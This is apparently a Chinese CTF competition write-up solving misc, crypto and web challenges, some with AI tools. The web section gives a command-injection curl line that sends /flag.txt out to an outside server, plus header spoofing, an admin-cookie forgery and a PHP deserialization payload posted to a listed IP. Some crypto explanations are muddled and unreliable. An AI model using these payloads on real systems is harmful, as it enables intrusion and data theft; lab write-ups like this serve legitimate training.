文章目录
misc
xor10
ai一把梭
根据题目中的字符串和提示,虽然提示为"xor10",但经过分析发现正确的密钥应为十进制的57(0x39)。每个字节异或57后,得到以下结果:
步骤解析:
- 拆分十六进制字符串:
原字符串拆分为:5f,55,58,5e,42,71,7a,6d,7f,48,4e,5c,78,6a,7d,08,09,09,44。 - 转换为十进制并异或57:
每个字节异或57后,转换为对应的ASCII字符:5f
→ 95 → 95^57=102 → 'f'55
→ 85 → 85^57=108 → 'l'58
→ 88 → 88^57=97 → 'a'5e
→ 94 → 94^57=103 → 'g'42
→ 66 → 66^57=123 → '{'- 后续字节解密后依次为:H, C, T, F, q, w, e, A, S, D, 1, 0, 0, }
最终flag:
flag{HCTFqweASD100}
图片里的秘密
隐写分离得到zip,爆破出密码9864,进去flag.txt拿到一串字符5a6d78685a337331536d637153474d304a485a454f48684d49584a5466513d3d
转十六进制得到ZmxhZ3s1SmcqSGM0JHZEOHhMIXJTfQ==
显然是base64,解密拿到flag
flag{5Jg*Hc4$vD8xL!rS}
被折叠的显影图纸
随波逐流进来就一把梭。

Crypto
easy_rsa
果然够easy
p=473398607161
q=4511491
e=19
phi=(p-1)*(q-1)
d=invmod(e,phi)
print(d+7)
gift
flag{slh}
一看ai就能梭,懒得动脑子了
根据题目中的级数特征和加密要求,答案的推导过程如下:
1. 礼物数学解析
题目中描述的级数 1 - 1/3 + 1/5 - 1/7 + ... 是著名的 莱布尼茨级数 ,其和为 π/4*24。
最终答案
- 礼物名称 :
pie
- 加密后Flag :
flag{slh}
草甸方阵的密语
根据{}位置得到栅栏密码解密后结果,再凯撒加密一手

easy-签到题
后缀改成txt即可正常查看
ai解密得到flag
解密过程如下:
- 首先对原始字符串进行 Base64 解码,得到一串看似又是 Base32 编码的字符串;
- 然后对这段字符串进行 Base32 解码,得到一段十六进制(hex)字符;
- 最后对这段十六进制字符串进行 hex 解码,就得到最终的 flag。
最终还原出的 flag 为:
复制编辑
flag{2b8471e0-3c9a-6d1f-4a57-980362157e3f}
baby_rsa
grok写个脚本秒了
from gmpy2 import invert, isqrt
from Crypto.Util.number import long_to_bytes
import sympy
# Given values
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063
# Step 1: Factorize N to find q and p
# Since q is 1024-bit, estimate q ≈ sqrt(N)
q_approx = isqrt(N)
# Find the next prime after q_approx to get q
q = sympy.prevprime(q_approx + 1) # Adjust to find the correct q
p = N // q # Compute p
if p * q != N:
q = sympy.nextprime(q) # Try next prime if factorization fails
p = N // q
assert p * q == N, "Factorization failed"
# Step 2: Compute phi
phi = (p - 1) * (q - 1)
# Step 3: Compute private key d
d = invert(e, phi)
# Step 4: Decrypt ciphertext
m = pow(c, d, N)
# Step 5: Convert to bytes
flag = long_to_bytes(m)
print("Flag:", flag.decode())
web
YWB_Web_xff
加header伪造请求头读取到flag

flag{9u60w1kemajt}
YWB_Web_未授权访问
cookie url解码一手,把guest改成admin,isAdmin改成1再url编码即可

easyweb
测试一下发现弹shell失败,curl命令发送/flag.txt的内容到服务器
cmd=curl -d @/flag.txt http://ip:端口

YWB_Web_命令执行过滤绕过
伪协议读到flag.php,根据里面的路径拿到flag


反序列化
简单反序列化
payload:
payload='O:7:"mylogin":2:{s:4:"user";s:XX:"phpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:12:"myzS@11wawq";}";}'
curl -X POST http://47.105.113.86:40004/ -d "msg=${payload}"